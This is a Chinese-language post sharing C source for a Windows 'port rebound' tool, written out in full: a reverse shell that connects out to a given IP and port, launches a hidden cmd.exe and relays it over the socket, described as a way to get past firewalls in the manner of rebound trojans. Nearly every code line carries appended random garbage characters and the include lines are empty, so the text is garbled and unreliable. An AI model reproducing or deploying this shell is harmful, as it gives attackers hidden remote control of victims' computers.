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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /M3UK  
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/* ============================== v RR(b!Lq  
Rebound port in Windows NT 'Wv`^{y <^  
By wind,2006/7 e-`=?tct  
===============================*/ *\M$pUS{  
#include yG ,oSp|  
#include >B~vE2^tQ~  
s;9>YV2at  
#pragma comment(lib,"wsock32.lib") c2,;t)%@E  
UgBD| ~zu  
void OutputShell(); >cV^f6fH  
SOCKET sClient; P> wDr`*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; g:yUZ;U  
4uV,$/  
void main(int argc,char **argv) }R\9y bv  
{ ET1>&l:.  
WSADATA stWsaData; {f12&t  
int nRet; qVidubsW  
SOCKADDR_IN stSaiClient,stSaiServer; TA"4yri=7x  
y. A]un1  
if(argc != 3) IcDAl~uG  
{ @#?w>38y  
printf("Useage:\n\rRebound DestIP DestPort\n"); ifYC&5}SI  
return; rRK^vfoJ`  
} 1/l;4~p7'  
9_07?`Jr  
WSAStartup(MAKEWORD(2,2),&stWsaData); D |lm,  
f]*_]J/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); >,#7 3u#  
]\8{z"  
stSaiClient.sin_family = AF_INET; y=H\Z/=  
stSaiClient.sin_port = htons(0); &M5_G$5n  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); [tP6FdS/M=  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) >e4w8Svcy  
{ aV6l"A]  
printf("Bind Socket Failed!\n"); ^UJ#YRzi  
return; HfN:oww  
} L 2Z9g`>  
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stSaiServer.sin_family = AF_INET; ' >F_y t9  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x|6# /m  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,M)NC%0X  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) R'.YE;leBG  
{ OG C|elSM  
printf("Connect Error!"); [8b,}i 1  
return; c[DC  
} ,Z"l3~0\  
OutputShell(); Ijs"KAW ?  
} >h+G$&8[ y  
bN',-[E  
void OutputShell() +EnJyli  
{ Q.dHg7+D  
char szBuff[1024]; unUCn5hJ=  
SECURITY_ATTRIBUTES stSecurityAttributes; DW,fh8w  
OSVERSIONINFO stOsversionInfo; }&o*ZY-1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; BWz7m9 T  
STARTUPINFO stStartupInfo; dF- d  
char *szShell; `T;M=S^y*E  
PROCESS_INFORMATION stProcessInformation; ?b&~(,A{  
unsigned long lBytesRead; 'x-PQQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); fR4O^6c:  
i n^Rf` "  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bN#)F    
stSecurityAttributes.lpSecurityDescriptor = 0; x7s75  
stSecurityAttributes.bInheritHandle = TRUE; Dyx3N5?C  
8")1,   
!u} }V  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .-:R mYGR  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); fYU-pdWPT  
T]5JsrT  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _a"\g9{%*  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fRTQ5V  
stStartupInfo.wShowWindow = SW_HIDE; xY/ S;dE  
stStartupInfo.hStdInput = hReadPipe; 'WUevPmt  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; D [#1~M  
.&53WL[D|  
GetVersionEx(&stOsversionInfo); iG[an*#X  
27;t,Oq}  
switch(stOsversionInfo.dwPlatformId) [-@Lbu-|  
{ vM}oxhQ$n  
case 1: kCRP?sj  
szShell = "command.com"; T/V 5pYl  
break; k++Os'hSEY  
default: (i,TxjS'od  
szShell = "cmd.exe"; |WiK*  
break; B=:7N;BT  
} K4vl#*qn  
x. 7Ln9  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); !9l c6W  
J`ia6fy.I  
send(sClient,szMsg,77,0); T j7i#o  
while(1) su}> >07  
{ gE/O29Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +_8*;k@F'  
if(lBytesRead) #:v e3gWl  
{ npH2&6Yhi^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 'm@0[i  
send(sClient,szBuff,lBytesRead,0); 9HlRf6S  
} F6gboo)SD  
else '3f"#fF6  
{ ( Ck|RojC  
lBytesRead=recv(sClient,szBuff,1024,0); 9S0I<<m  
if(lBytesRead<=0) break; P9/5M4]tt  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ZB'/DO=i  
} 8_MR7'C1hi  
} slV+2b  
We#u-#k_O  
return; !"2nL%PW~  
}
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